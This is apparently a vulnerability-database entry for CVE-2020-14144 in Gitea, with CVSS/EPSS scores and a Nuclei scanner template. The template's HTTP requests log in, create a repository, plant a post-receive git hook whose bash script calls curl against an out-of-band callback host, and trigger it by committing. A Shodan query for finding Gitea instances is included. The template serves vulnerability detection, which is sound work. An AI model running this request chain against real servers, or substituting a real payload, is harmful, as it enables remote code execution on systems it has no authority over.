7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
7.1 High
AI Score
Confidence
High
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.973 High
EPSS
Percentile
99.9%
Gitea 1.1.0 through 1.12.5 is susceptible to authenticated remote code execution, via the git hook functionality, in customer environments where the documentation is not understood (e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the ENABLE_GIT_HOOKS line in the config file). NOTE: The vendor has indicated this is not a vulnerability and states "This is a functionality of the software that is limited to a subset of accounts. If you give someone the privilege to execute arbitrary code on your server, they can execute arbitrary code on your server. We provide very clear warnings to users around this functionality and what it provides."
id: CVE-2020-14144
info:
name: Gitea 1.1.0 - 1.12.5 - Remote Code Execution
author: theamanrawat
severity: high
description: |
Gitea 1.1.0 through 1.12.5 is susceptible to authenticated remote code execution, via the git hook functionality, in customer environments where the documentation is not understood (e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the ENABLE_GIT_HOOKS line in the config file). NOTE: The vendor has indicated this is not a vulnerability and states "This is a functionality of the software that is limited to a subset of accounts. If you give someone the privilege to execute arbitrary code on your server, they can execute arbitrary code on your server. We provide very clear warnings to users around this functionality and what it provides."
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
remediation: Fixed in version 1.16.7.
reference:
- https://dl.gitea.io/gitea/1.16.6
- https://github.com/go-gitea/gitea/pull/13058
- https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
- https://nvd.nist.gov/vuln/detail/CVE-2020-14144
- https://docs.github.com/en/[email protected]/admin/policies/creating-a-pre-receive-hook-script
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2020-14144
cwe-id: CWE-78
epss-score: 0.97181
epss-percentile: 0.99775
cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 7
vendor: gitea
product: gitea
shodan-query: html:"Powered by Gitea Version"
tags: cve2020,cve,rce,gitea,authenticated,git,intrusive
http:
- raw:
- |
GET /user/login HTTP/1.1
Host: {{Hostname}}
- |
POST /user/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
- |
GET /repo/create HTTP/1.1
Host: {{Hostname}}
- |
POST /repo/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{auth_csrf}}&uid=1&repo_name={{randstr}}&private=on&description=&repo_template=&issue_labels=&gitignores=&license=&readme=Default&auto_init=on&default_branch=master
- |
POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}
- |
GET /{{username}}/{{randstr}}/_new/master HTTP/1.1
Host: {{Hostname}}
- |
POST /{{username}}/{{randstr}}/_new/master HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- http
- type: word
part: body_1
words:
- "Gitea:"
extractors:
- type: regex
name: csrf
group: 1
regex:
- name="_csrf" value="(.*)"
internal: true
- type: regex
name: auth_csrf
group: 1
regex:
- name="_csrf" content="(.*)"
internal: true
- type: regex
name: last_commit
group: 1
regex:
- name="last_commit" value="(.*)"
internal: true
# digest: 4a0a00473045022100e398d9d82ff8b9b88f71c78ed86a11cd12d18203426a0f2396f654d19d04022a0220753f0b26dc09689a5afbbb739a698e8340f6bb5296ac8e88f3fc93d75ab2cd3c:922c64590222798bb761d5b6d8e72950
dl.gitea.io/gitea/1.16.6
docs.github.com/en/[email protected]/admin/policies/creating-a-pre-receive-hook-script
github.com/go-gitea/gitea/pull/13058
nvd.nist.gov/vuln/detail/CVE-2020-14144
www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
7.1 High
AI Score
Confidence
High
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
0.973 High
EPSS
Percentile
99.9%